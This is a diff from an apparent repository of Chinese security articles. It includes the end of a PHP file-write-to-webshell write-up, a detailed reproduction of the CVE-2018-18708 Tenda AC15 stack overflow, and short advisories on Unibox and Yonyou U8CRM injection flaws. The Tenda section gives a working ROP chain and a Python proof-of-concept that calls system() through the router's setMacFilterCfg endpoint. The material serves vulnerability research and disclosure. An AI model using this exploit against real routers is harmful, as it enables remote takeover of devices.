在这里进行判断
|
||||
|
||||
|
||||
|
||||
|
||||
逻辑错误点在这里 我们这里的$file是php 而后面的则是.php
|
||||
|
||||
因为stristr的意思是在前面的字符串查找后面的 而在php字符串里并不包含.php
|
||||
|
||||
所以在这里我们可直接传入php
|
||||
|
||||
|
||||
|
||||
打印了下 $infoData发现为NULL 那后面$linkfile就是单纯的网页地址
|
||||
|
||||
而且他会对一个url发起请求并保存文件
|
||||
|
||||
我们可知$cachefile 的后缀是php 其实就可以直接写文件了
|
||||
|
||||
在目录下放一个/1.php的马
|
||||
|
||||
|
||||
|
||||
直接进行访问
|
||||
|
||||
|
||||
|
||||
发现在响应头里会有php文件名 但实际上
|
||||
|
||||
|
||||
|
||||
在这里也写了完整的生成语句
|
||||
|
||||
|
||||
|
||||
但是我们发现在生成文件的时候还是有一个目录的
|
||||
|
||||
|
||||
|
||||
回到刚才代码
|
||||
|
||||
我们查看cacheFile类
|
||||
|
||||
|
||||
|
||||
在这里有一个hash_path
|
||||
的生成
|
||||
|
||||
可以选择下断点 或者直接var_dump
|
||||
下变量
|
||||
|
||||
发现大致目录如下
|
||||
|
||||
|
||||
|
||||
其实可以推断出来 /var/www/html/data/User/guest/home/ 为一般漏洞利用的hash_path
|
||||
|
||||
而且你会发现虽然说他在前面设置了一个随机生成的系统密码
|
||||
|
||||
但实在底下只是进行了md5的编码就把$path写进来了 所以
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
只要文件不变 md5值是不变的
|
||||
|
||||
|
||||
|
||||
构造poc即可写木马
|
||||
### 0x03修复方案
|
||||
|
||||
官方的修复中
|
||||
|
||||
|
||||
|
||||
在这里把文件返回头给注释掉了 但是我们上文提了自己生成也可以
|
||||
|
||||
可以看到在path生成上完善了 拼接了$pre 没办法再进行路径的查找
|
||||
|
||||
|
||||
|
||||
**文章来源：奇安信攻防社区**
|
||||
|
||||
**链接：https://forum.butian.net/article/673**
|
||||
|
||||
|
||||
637
doc/2025-05/栈溢出从复现到挖掘-CVE-2018-18708漏洞复现详解.md
Normal file
637
doc/2025-05/栈溢出从复现到挖掘-CVE-2018-18708漏洞复现详解.md
Normal file
@ -0,0 +1,637 @@
|
||||
# 栈溢出从复现到挖掘-CVE-2018-18708漏洞复现详解
|
||||
轩公子谈技术 2025-05-09 00:52
|
||||
|
||||
文章首发先知社区
|
||||
|
||||
栈溢出从复现到挖掘-CVE-2018-18708漏洞复现详解
|
||||
|
||||
作者：vlan911
|
||||
|
||||
https://xz.aliyun.com/news/17913
|
||||
|
||||
|
||||
固件和poc可在github下载：
|
||||
https://github.com/Snowleopard-bin/pwn/tree/master/IOT/Tenda_CVE-2018-16333
|
||||
|
||||
首先查看程序开启的保护机制，可以发现没有开启PIE和canary保护
|
||||
|
||||
|
||||
|
||||
本文介绍如何启动quem用户级调试以及qemu系统级调试
|
||||
## qemu用户级调试
|
||||
|
||||
使用binwalk解压固件
|
||||
```
|
||||
binwalk -Me US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin
|
||||
```
|
||||
|
||||
后续所有指令均是进入到/_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/squashfs-root文件夹去执行的，该文件夹为固件核心文件夹
|
||||
|
||||
查看文件架构，发现是arm小端架构的
|
||||
|
||||
|
||||
|
||||
需要手动复制一下web目录，否则运行程序会出现访问404的情况
|
||||
```
|
||||
cp -rf ./webroot_ro/* ./webroot/
|
||||
```
|
||||
|
||||
修改网卡，主要是增加网卡，需要先安装网卡管理工具，然后直接运行./net.sh即可
|
||||
|
||||
apt-get install bridge-utils
|
||||
|
||||
apt-get install uml-utilities
|
||||
```
|
||||
#!/bin/bash#我的宿主机的上网的网卡为ens33，并且存在多个虚拟网卡sudo ifconfig ens33 down # 首先关闭宿主机网卡接口sudo brctl addbr br0 # 添加一座名为 br0 的网桥sudo brctl addif br0 ens33 # 在 br0 中添加一个接口sudo brctl stp br0 on #打开生成树协议sudo brctl setfd br0 2 # 设置 br0 的转发延迟sudo brctl sethello br0 1 # 设置 br0 的 hello 时间sudo ifconfig br0 0.0.0.0 promisc up # 启用 br0 接口sudo ifconfig ens33 0.0.0.0 promisc up # 启用网卡接口sudo dhclient br0 # 从 dhcp 服务器获得 br0 的 IP 地址sudo tunctl -t tap0 # 创建一个 tap0 接口sudo brctl addif br0 tap0 # 在虚拟网桥中增加一个 tap0 接口sudo ifconfig tap0 0.0.0.0 promisc up # 启用 tap0 接口sudo ifconfig tap0 192.168.50.12/24 up #为tap0分配ip地址sudo ifconfig ens33 192.168.50.10/24 up #为ens33分配ip地址
|
||||
```
|
||||
|
||||
|
||||
|
||||
直接qemu启动的话，会报错，提示缺少文件夹，同时进程中断或一直等待，忘记保存图片了，大家可以自己试一下看看报错信息是什么样子的
|
||||
|
||||
首先手动创建文件夹
|
||||
```
|
||||
mkdir -p ./proc/sys/kernel
|
||||
```
|
||||
|
||||
然后使用ida打开存放在/_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/squashfs-root/bin/httpd文件，搜索字符串 Welcome ，这一步是为了patch
|
||||
|
||||
|
||||
|
||||
双击进入到，在aYesWelovelinux函数这里按键盘 x 查看交叉引用
|
||||
|
||||
|
||||
|
||||
进入后，发现 里面是个条件判断语句
|
||||
|
||||
|
||||
|
||||
程序运行到第33行时，因为check_network返回的值，程序进入了死循环(这里很奇怪，按理说我已经创建了br0的网卡，不应该死循环才对)。
|
||||
|
||||
在图视图中看一下，这里是一条BL指令，然后将函数的返回值从r0中，转移到r3中，为了使我们的程序能绕过此处的死循环，我们可以使用IDA提供的patch bytes功能将MOV R3, R0替换成MOV R3, #1，这样我们的程序就可以按照我们设想的流程进行下去，两处的逻辑相同，可使用同一种方法进行绕过
|
||||
|
||||
|
||||
|
||||
我们借助rasm2工具翻译汇编指令到机器指令，使用的指令如下。
|
||||
```
|
||||
sudo apt install radare2rasm2 -a arm "mov r3,1" #这个是我们需要替换的进制数rasm2 -a arm "mov r3,r0" #为了验证原来未改动的进制数是什么
|
||||
```
|
||||
|
||||
|
||||
|
||||
IDA中
|
||||
Edit->Patch program->change byte
|
||||
更改鼠标指针处的字节。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
然后，
|
||||
Edit->Patch program->Apply patches to input file
|
||||
将我们的更改保存进二进制文件
|
||||
|
||||
|
||||
|
||||
安装qemu-user-static
|
||||
```
|
||||
sudo apt install qemu-user-static
|
||||
```
|
||||
|
||||
安装完成后将qemu-arm-static赋值到文件系统目录squashfs-root下，启动httpd服务
|
||||
```
|
||||
cp $(which qemu-arm-static) ./qemumkdir -p ./proc/sys/kernelcp -rf ./webroot_ro/* ./webroot/sudo chroot ./ ./qemu ./bin/httpd
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
此处使用的是patch后的httpd文件
|
||||
|
||||
|
||||
## qemu系统级调试
|
||||
|
||||
|
||||
打包解包后的文件
|
||||
|
||||
|
||||
|
||||
|
||||
首先宿主机开启网卡，直接执行./net.sh即可
|
||||
```
|
||||
sudo tunctl -t tap1sudo ifconfig tap0 192.168.50.11/24 up #请根据实际情况修改
|
||||
```
|
||||
|
||||
|
||||
|
||||
而后需要下载三个文件
|
||||
```
|
||||
wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2wget https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpresswget https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress
|
||||
```
|
||||
|
||||
执行下述文件 ./boot.sh
|
||||
```
|
||||
#!/bin/shsudo qemu-system-arm \-M vexpress-a9 \-kernel vmlinuz-3.2.0-4-vexpress \-initrd initrd.img-3.2.0-4-vexpress \-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \-append "root=/dev/mmcblk0p2 console=ttyAMA0" \-net nic -net tap,ifname=tap0,script=no,downscript=no \-nographic
|
||||
```
|
||||
|
||||
运行后，即可进入到模拟环境
|
||||
|
||||
|
||||
|
||||
在宿主机打包解包后的squashfs-root文件夹
|
||||
```
|
||||
sudo tar -zcvf a15_0.tar.gz squashfs-root
|
||||
```
|
||||
|
||||
|
||||
|
||||
qemu模拟器开启网卡(默认连接后的qemu里面的网卡是没有网络配置的，需要重新配置一下)
|
||||
```
|
||||
ifconfig eth0 192.168.50.12/24 up
|
||||
```
|
||||
|
||||
|
||||
|
||||
上传压缩包到qemu模拟器
|
||||
```
|
||||
scp -r a15_0.tar.gz root@192.168.50.12:/root/
|
||||
```
|
||||
|
||||
|
||||
|
||||
进入到qemu模拟器解压缩
|
||||
```
|
||||
tar xzf a15_0.tar.gz cd squashfs-root/chroot . sh
|
||||
```
|
||||
|
||||
|
||||
|
||||
为qemu模拟器添加br0网卡
|
||||
```
|
||||
brctl addbr br0 #添加br0虚拟网卡ifconfig br0 192.168.50.14/24 up./bin/httpd
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
报错了，提示不能创建core_pattern文件，是因为目录不存在，并且进程断开了
|
||||
|
||||
首先手动创建目录
|
||||
```
|
||||
mkdir -p ./proc/sys/kernel
|
||||
```
|
||||
|
||||
httpd patch过程与上述一致，此处不进行赘述
|
||||
|
||||
|
||||
将patch后的httpd文件上传到qemu模拟器替换
|
||||
```
|
||||
scp -r httpd root@192.168.50.12:/root/
|
||||
```
|
||||
|
||||
|
||||
```
|
||||
cp httpd squashfs-root/bin/httpd
|
||||
```
|
||||
|
||||
|
||||
|
||||
重新运行后，运行成功
|
||||
|
||||
但是此时访问是访问不到的东西的，需要结束进程，然后重新执行
|
||||
```
|
||||
cp -rf ./webroot_ro/* ./webroot/
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
如果想通过qemu系统模式进行调试，请看以下内容
|
||||
|
||||
首先将gdbserver上传到qemu模拟器上，而后按照如下运行
|
||||
|
||||
https://github.com/hugsy/gdb-static
|
||||
```
|
||||
scp -r gdbserver-7.10.1-arm6v root@192.168.50.12:/root/
|
||||
```
|
||||
|
||||
|
||||
```
|
||||
cp gdbserver-7.10.1-arm6v squashfs-root/chroot . sh./gdbserver-7.10.1-arm6v 0.0.0.0:9999 ./bin/httpd
|
||||
```
|
||||
|
||||
宿主机执行
|
||||
|
||||
|
||||
|
||||
返回宿主机，执行如下指令，即可远程连接
|
||||
```
|
||||
sudo apt install gdb-multiarchgdb-multiarch -q ./bin/httpdset arch arm tar rem 192.168.50.14:9999
|
||||
```
|
||||
|
||||
|
||||
|
||||
笔者演示的时候，因为还没有安装pwndbg，所以看上去很奇怪，建议搭建先安装pwndbg再去运行
|
||||
```
|
||||
b *0x6775cc
|
||||
```
|
||||
|
||||
|
||||
## CVE-2018-18708
|
||||
|
||||
参考：
|
||||
|
||||
https://blog.xmcve.com/2022/10/08/CVE-2018-18708-%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/
|
||||
|
||||
https://blog.csdn.net/m0_55368674/article/details/128939608
|
||||
### 漏洞点位分析
|
||||
|
||||
首先看漏洞点位，漏洞接口为setMacFilterCfg，参数为deviceList
|
||||
|
||||
打开ida，使用ida打开httpd，搜索strings字符串setMacFilterCfg
|
||||
|
||||
|
||||
|
||||
在函数aSetmacfiltercf上面点击x查找交叉引用
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
此时进入到函数体内，按一下tab查看伪代码，此函数实际为tenda接口函数sub_42378()【formDefineTendDa()】
|
||||
|
||||
|
||||
|
||||
双击formSetMacFilterCfg进入到函数里面，此时可以看到，v18和v17通过sub_2BA8C函数进行传参，该函数实际为websGetVar()函数，该函数通过web进行传参，传入的参数为macFilterType和deviceList
|
||||
|
||||
|
||||
|
||||
v19 = sub_C10D0(v18); 查看此函数，此函数有数个条件分支
|
||||
|
||||
|
||||
|
||||
该函数是用来判断传入的macFilterType参数是否符合要求(macFilterType=black或者macFilterType=white），返回0则代表正确，会进入到下述代码的else判断，从而才能进入到v19 = sub_C14DC(v18, v17);
|
||||
```
|
||||
if ( v19 ) { memset(s2, 0, sizeof(s2)); if ( GetValue("cgi_debug", s2) && !strcmp("on", (const char *)s2) ) { n2 = 2; printf("%s[%s:%s:%d] %s", off_1018C8[0], "cgi", "formSetMacFilterCfg", 500, off_1018C4[0]);// "\x1B[0;31m" printf("set mac filter mode error!\n\x1B[0m"); } } else { v17 = sub_2BA8C(a1, "deviceList", &unk_F5124); v19 = sub_C14DC(v18, v17);
|
||||
```
|
||||
|
||||
接下来进入到v19 = sub_C14DC(v18, v17); v17是我们主要关注对象(v18实际上是macFilterType，因为上面我们分析过，该参数必须是white和black，写死了，并不能作为溢出点)，该参数为deviceList
|
||||
|
||||
|
||||
|
||||
这一大堆其实我们只需要关注s参数，这个参数对应的传入的deviceList参数
|
||||
|
||||
可以看到，主要用到这个参数的函数为sub_C17A0(a1, s, v10);
|
||||
|
||||
进入到sub_C17A0(a1, s, v10);函数体
|
||||
|
||||
|
||||
|
||||
该函数体调用的参数对应的是a2参数，我们发现，对应调用此参数的函数为sub_C24C0(a2, s_2);
|
||||
|
||||
首先我们可以看到，这个函数传入两个参数，第一个参数a2就是对应的deviceList，第二个s_2是一个固定的缓冲区，且长度为176(0XB0)，这个就是我们后续用到的偏移量，后续会对这个偏移量进行验证
|
||||
|
||||
|
||||
|
||||
最后，进入到sub_C24C0(a2, s_2);函数体
|
||||
|
||||
|
||||
|
||||
最后的函数体，传入的deviceList对应参数为s参数;
|
||||
|
||||
src = strchr(s, 13); 首先src代表的是，在字符串s中寻找ascii码值为13，也就是“\r”的指针，然后赋值给src，也就是src是写死的；
|
||||
|
||||
所以真正的溢出点为strcpy(src_1 + 32, s); 该函数为字符串复制函数；
|
||||
|
||||
但是前面有一个判断语句if ( src )，所以在参数里也需要加上"\r"；由此分析结束
|
||||
|
||||
由此得出结论：
|
||||
|
||||
|
||||
### 偏移量分析
|
||||
|
||||
启动调试，这里需要换成pwndbg，因为pwndbg可以支持更多的指令，特别是计算偏移量。下述指令是在宿主机执行的，测试环境为qemu用户级别启动
|
||||
```
|
||||
# 第一个终端sudo chroot ./ ./qemu -g 1234 ./bin/httpd# 第二个终端gdb-multiarchtarget remote :1234c#第三个终端python3 1.py #漏洞溢出测试脚本
|
||||
```
|
||||
```
|
||||
import requestsfrom pwn import * url = "http://192.168.50.18/goform/setMacFilterCfg"cookie = {"Cookie":"password=1234111115"}data = {"macFilterType": "white", "deviceList": b"\r"+ cyclic(500)}response = requests.post(url, cookies=cookie, data=data)print(response.text)
|
||||
```
|
||||
|
||||
|
||||
此时运行python测试脚本，即可看到pc寄存器的值为taab(因为没有任何断点，所以程序直接停在strcpy函数执行后溢出的位置)
|
||||
|
||||
|
||||
|
||||
执行即可查看PC寄存器的偏移量为176，pc寄存器的作用是：程序计数器，指向下一条要执行的指令地址。通过控制
|
||||
pc
|
||||
，可以劫持程序流 ，这里主要是通过控制pc寄存器实现执行system函数
|
||||
```
|
||||
cyclic -l taab
|
||||
```
|
||||
|
||||
|
||||
### 这里插入一个全网也没有讲到的，如何在pwndbg里计算偏移量的方法，那就是，断点需要打在000C1900 BL sub_C24C0，也就是sub_C24C0函数起始的位置，因为char src[176]; // [sp+14Ch] [bp-B0h] BYREF是在这个函数开始的
|
||||
|
||||
|
||||
|
||||
在pwndbg断点 b *0xC1900 ，然后运行程序，并执行完整poc
|
||||
|
||||
|
||||
|
||||
可以看见，R11寄存器-R1寄存器的值=0x407fffe4-0x407fff34=0xB0=176
|
||||
### 利用链分析
|
||||
|
||||
|
||||
|
||||
通过上述指令，我们可以得知，程序开启了NX保护，无法直接执行栈中的shellcode，我们使用ROP技术来绕过NX。
|
||||
#### 1. NX保护与ROP技术
|
||||
- **NX保护（No-eXecute）**
|
||||
：
|
||||
|
||||
现代操作系统通过NX保护禁止在栈、堆等内存区域执行代码，防止Shellcode直接运行。
|
||||
|
||||
- **ROP（Return-Oriented Programming）**
|
||||
：
|
||||
|
||||
通过复用程序中已有的代码片段（**Gadget**
|
||||
），将多个Gadget串联成链，实现攻击逻辑。
|
||||
|
||||
- **无需注入代码**
|
||||
：利用已有指令（如
|
||||
pop
|
||||
,
|
||||
mov
|
||||
,
|
||||
blx
|
||||
）控制程序流。
|
||||
|
||||
- **绕过NX**
|
||||
：所有代码均来自合法内存区域（如libc）。
|
||||
|
||||
#### 2. ROP攻击核心思路
|
||||
##### 2.1. 目标
|
||||
|
||||
调用
|
||||
system("/bin/sh")
|
||||
启动交互式Shell。
|
||||
|
||||
需解决两个问题：
|
||||
1. **控制****system****函数地址**
|
||||
：跳转到libc中的
|
||||
system
|
||||
函数。
|
||||
|
||||
1. **传递参数**
|
||||
：将
|
||||
"/bin/sh"
|
||||
字符串地址传递给
|
||||
r0
|
||||
寄存器（ARM架构下第一个参数通过
|
||||
r0
|
||||
传递）。
|
||||
|
||||
##### 2.2. 步骤
|
||||
1. **泄露libc基址**
|
||||
：通过漏洞泄露libc中某个函数（如
|
||||
puts
|
||||
）的运行时地址，计算libc基址。
|
||||
|
||||
1. **计算****system****地址**
|
||||
：
|
||||
system地址 = libc基址 + system偏移
|
||||
。
|
||||
|
||||
1. **构造ROP链**
|
||||
：通过Gadget控制
|
||||
r0
|
||||
和
|
||||
pc
|
||||
，触发
|
||||
system
|
||||
执行。
|
||||
|
||||
#### 3. Gadget作用与寄存器控制
|
||||
##### 3.1. Gadget解析
|
||||
|
||||
**跳转到R3的gadget1_addr**
|
||||
```
|
||||
ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r30x00018298 : pop {r3, pc}
|
||||
```
|
||||
|
||||
|
||||
- **0x00018298 : pop {r3, pc}**
|
||||
- **功能**
|
||||
：从栈顶弹出两个值，分别存入
|
||||
r3
|
||||
和
|
||||
pc
|
||||
。( 将
|
||||
system
|
||||
地址存入
|
||||
r3
|
||||
)
|
||||
|
||||
- **用途**
|
||||
：控制
|
||||
r3
|
||||
寄存器的值，并直接跳转到
|
||||
pc
|
||||
指向的地址。
|
||||
|
||||
**找到一个可以控制R0的gadget2_addr**
|
||||
```
|
||||
ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"0x00040cb8 : mov r0, sp ; blx r3
|
||||
```
|
||||
|
||||
|
||||
- **0x00040cb8 : mov r0, sp ; blx r3**
|
||||
- **功能**
|
||||
：将栈指针
|
||||
sp
|
||||
的值赋给
|
||||
r0
|
||||
，然后跳转到
|
||||
r3
|
||||
寄存器指向的地址执行。
|
||||
|
||||
- **用途**
|
||||
：用于将栈顶数据（如命令字符串）传递给
|
||||
r0
|
||||
（
|
||||
system
|
||||
函数的第一个参数）。
|
||||
|
||||
##### 3.2. 关键寄存器作用
|
||||
- **r0**
|
||||
：ARM架构中用于传递函数第一个参数（如
|
||||
system("/bin/sh")
|
||||
中的
|
||||
"/bin/sh"
|
||||
地址）。
|
||||
|
||||
- **r3**
|
||||
：通用寄存器，此处用于暂存
|
||||
system
|
||||
函数地址。
|
||||
|
||||
- **pc**
|
||||
：程序计数器，指向下一条要执行的指令地址。通过控制
|
||||
pc
|
||||
，可以劫持程序流。
|
||||
|
||||
##### 3.3. CPSR的T位
|
||||
- **作用**
|
||||
：CPSR寄存器的T位（Thumb模式标志位）决定CPU执行模式：
|
||||
|
||||
- **T=0**
|
||||
：执行ARM指令（4字节对齐）。
|
||||
|
||||
- **T=1**
|
||||
：执行Thumb指令（2字节对齐）。
|
||||
|
||||
- **影响**
|
||||
：
|
||||
|
||||
- 若跳转到Thumb指令（如
|
||||
system
|
||||
函数是Thumb模式），地址需为奇数（如
|
||||
0xdeadbeef | 1
|
||||
）。
|
||||
|
||||
- 例如：
|
||||
system
|
||||
地址为
|
||||
0x5A270
|
||||
（Thumb模式），则实际跳转地址应为
|
||||
0x5A271
|
||||
。
|
||||
|
||||
```
|
||||
p/t $cpsr
|
||||
```
|
||||
|
||||
|
||||
|
||||
1100 0000 0000 0000 0000 0000 0010 0000
|
||||
，从右向左第五组0000即为T位，此时是0，所以不需要对system地址增加
|
||||
##### 3.4. system基址计算
|
||||
|
||||
计算system函数偏移量
|
||||
```
|
||||
readelf -s ./lib/libc.so.0 |grep systemsystem_addr = libc_base + 0x5A270
|
||||
```
|
||||
|
||||
|
||||
##### 3.5. lib基质计算
|
||||
|
||||
由于qemu-user模拟(使用qemu启动，即为user模拟，除此外还有个qemu系统级模拟)不支持vmmap指令打印内存信息，官方给出了说明：
|
||||
https://github.com/pwndbg/pwndbg/blob/dev/pwndbg/commands/vmmap.py
|
||||
。
|
||||
|
||||
所以我们获取puts函数泄露libc运行时的地址、libc.so.0中的puts函数的偏移量，从而得到libc基址
|
||||
|
||||
libc基址=运行时地址−IDA偏移量
|
||||
|
||||
由于QEMU+GDB调试时默认关闭了ASLR（地址空间随机化），所以libc每次加载到内存的基址相同（这也是为什么选择libc.so.0文件的原因）。
|
||||
|
||||
对正在运行的httpd文件的puts进行断点，该地址位于进程内存空间中，指向加载到内存中的libc库中的
|
||||
puts
|
||||
函数 ，得到运行时地址为0x3fdd1cd4
|
||||
```
|
||||
sudo chroot ./ ./qemu -g 1234 ./bin/httpdgdb-multiarchtarget remote :1234file ./bin/httpd b putscontinue
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
使用ida打开libc.so.0文件，查看puts函数的IDA偏移量为0x35CD4(**相对偏移量**
|
||||
。该偏移量是静态的，与libc基址无关。)
|
||||
|
||||
|
||||
|
||||
所以 libc基址=运行时地址−IDA偏移量=0x3fdd1cd4 - 0x35cd4 = 0x3fd9c000
|
||||
```
|
||||
libc_base = 0x3fd9c000
|
||||
```
|
||||
##### 3.6. payload流程如下
|
||||
|
||||
最终 payload格式为:[offset, gadget1, system_addr, gadget2, cmd]
|
||||
```
|
||||
payload = b'A' * 溢出偏移 # 填充至返回地址前 + p32(gadget1_addr) # pop {r3, pc} + p32(system_addr) # 存入 r3 + p32(gadget2_addr) # 跳转到 gadget2 + b"/bin/sh\x00" # 字符串参数（通过 r0 传递）
|
||||
```
|
||||
##### 3.7. 执行流程
|
||||
1. **覆盖返回地址**
|
||||
：
|
||||
|
||||
栈溢出后，返回地址被覆盖为
|
||||
gadget1
|
||||
地址。
|
||||
|
||||
1. **执行****gadget1**
|
||||
：
|
||||
|
||||
```
|
||||
armasm
|
||||
```
|
||||
```
|
||||
pop {r3, pc} ; r3 = system_addr, pc = gadget2_addr
|
||||
```
|
||||
- **执行****gadget2**
|
||||
：
|
||||
|
||||
```
|
||||
armasm
|
||||
```
|
||||
```
|
||||
mov r0, sp ; r0 = 当前栈顶（指向 "/bin/sh"）blx r3 ; 跳转到 system(r0)
|
||||
```
|
||||
- **执行****system("/bin/sh")**
|
||||
：
|
||||
|
||||
启动Shell。
|
||||
|
||||
备注：
|
||||
|
||||
一、关于CPSR寄存器的T位问题
|
||||
1. ARM架构的指令模式特性：
|
||||
|
||||
- ARM处理器有两种指令集状态：ARM（32位指令）和Thumb（16/32位混合指令）
|
||||
|
||||
- CPSR寄存器的第5位（T位）控制当前模式：
|
||||
|
||||
T=0 → ARM模式（指令地址对齐到4字节）
|
||||
|
||||
T=1 → Thumb模式（指令地址对齐到2字节）
|
||||
|
||||
1. 关键机制：
|
||||
|
||||
当通过LDR/STACK POP等操作修改PC寄存器时：
|
||||
|
||||
- PC寄存器写入的地址值最低位（LSB）会被复制到CPSR的T位
|
||||
|
||||
- 实际PC值 = 写入值 & 0xFFFFFFFE（ARM模式）或 & 0xFFFFFFFC（Thumb）
|
||||
|
||||
1. 漏洞利用中的处理：
|
||||
|
||||
假设我们想跳转到0x08041234执行Thumb指令：
|
||||
|
||||
- 必须构造地址为0x08041234 + 1 = 0x08041235
|
||||
|
||||
- 当该值被加载到PC时：
|
||||
|
||||
PC = 0x08041234（自动清除LSB）
|
||||
|
||||
CPSR.T = 1（进入Thumb模式）
|
||||
|
||||
整理后我们的POC为：
|
||||
```
|
||||
from pwn import *import requestscmd = b"echo PWN!"libc_base = 0x3fd9c000system_addr = libc_base + 0x5A270gadget1_addr = libc_base + 0x18298gadget2_addr = libc_base + 0x40cb8payload = b'a'*176payload+= p32(gadget1_addr) + p32(system_addr) + p32(gadget2_addr) + cmdurl = "http://192.168.50.18/goform/setMacFilterCfg"cookie = {"Cookie":"password=asdasddsada"}data = {"macFilterType": "black", "deviceList": b"\r" + payload}response = requests.post(url, cookies=cookie, data=data)print(response.text)
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
@ -1,5 +1,5 @@
|
||||
# 漏洞预警 | Unibox路由器命令注入漏洞
|
||||
浅安 浅安安全 2025-05-06 23:50
|
||||
浅安 浅安安全 2025-05-09 00:00
|
||||
|
||||
**0x00 漏洞编号**
|
||||
- # 暂无
|
||||
@ -11,7 +11,7 @@
|
||||
|
||||
Unibox路由器是一款由Wifisoft公司推出的，专为小型场所如咖啡馆、餐厅、小型酒店、培训机构、小办公室和公共Wi-Fi热点等设计的智能接入控制器，它集成了全面的计费和带宽管理功能，可帮助网络管理员集中管理有线和无线网络，具备多种特性和功能，能有效避免未经授权的访问并跟踪网络上的实时活动。
|
||||
|
||||
|
||||
|
||||
|
||||
**0x03 漏洞详情**
|
||||
|
||||
@ -22,7 +22,8 @@ Unibox路由器是一款由Wifisoft公司推出的，专为小型场所如咖啡
|
||||
执行任意代码
|
||||
|
||||
**简述：**
|
||||
Unibox路由器的/billing/logout.php接口存在命令注入漏洞，未经身份验证的攻击者可以通过该漏洞远程执行任意代码，从而控制目标服务器。
|
||||
Unibox路由器的
|
||||
/network/checkstatus_ping.php和/authentication/test_userlogin.php接口存在命令注入漏洞，未经身份验证的攻击者可以通过该漏洞远程执行任意代码，从而控制目标服务器。
|
||||
|
||||
**0x04 影响版本**
|
||||
- Unibox路由器
|
||||
|
||||
43
doc/2025-05/漏洞预警 用友U8CRM SQL注入漏洞.md
Normal file
43
doc/2025-05/漏洞预警 用友U8CRM SQL注入漏洞.md
Normal file
@ -0,0 +1,43 @@
|
||||
# 漏洞预警 | 用友U8CRM SQL注入漏洞
|
||||
浅安 浅安安全 2025-05-09 00:00
|
||||
|
||||
**0x00 漏洞编号**
|
||||
- # 暂无
|
||||
|
||||
**0x01 危险等级**
|
||||
- 高危
|
||||
|
||||
**0x02 漏洞概述**
|
||||
|
||||
用友U8CRM是一款功能全面、灵活定制的客户关系管理软件，能够帮助企业建立健全、改善与客户之间的关系，提高客户满意度和获利能力。
|
||||
|
||||
|
||||
|
||||
**0x03 漏洞详情**
|
||||
###
|
||||
|
||||
**漏洞类型：**
|
||||
SQL注入
|
||||
|
||||
**影响：**
|
||||
获取敏感信息
|
||||
|
||||
**简述：**
|
||||
用友U8CRM客户关系管理系统的
|
||||
/servicequotation/checkselectworksheet.php接口存在SQL注入漏洞，未经身份验证的攻击者通过漏洞执行任意SQL语句，调用xp_cmdshell写入后门文件，执行任意代码，从而获取到服务器权限。
|
||||
|
||||
**0x04 影响版本**
|
||||
- 用友U8-CRM
|
||||
|
||||
**0x05****POC状态**
|
||||
- 已公开
|
||||
|
||||
****
|
||||
**0x06****修复建议**
|
||||
|
||||
**目前官方已发布漏洞修复版本，建议用户升级到安全版本****：**
|
||||
|
||||
http://www.itusing.com/
|
||||
|
||||
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user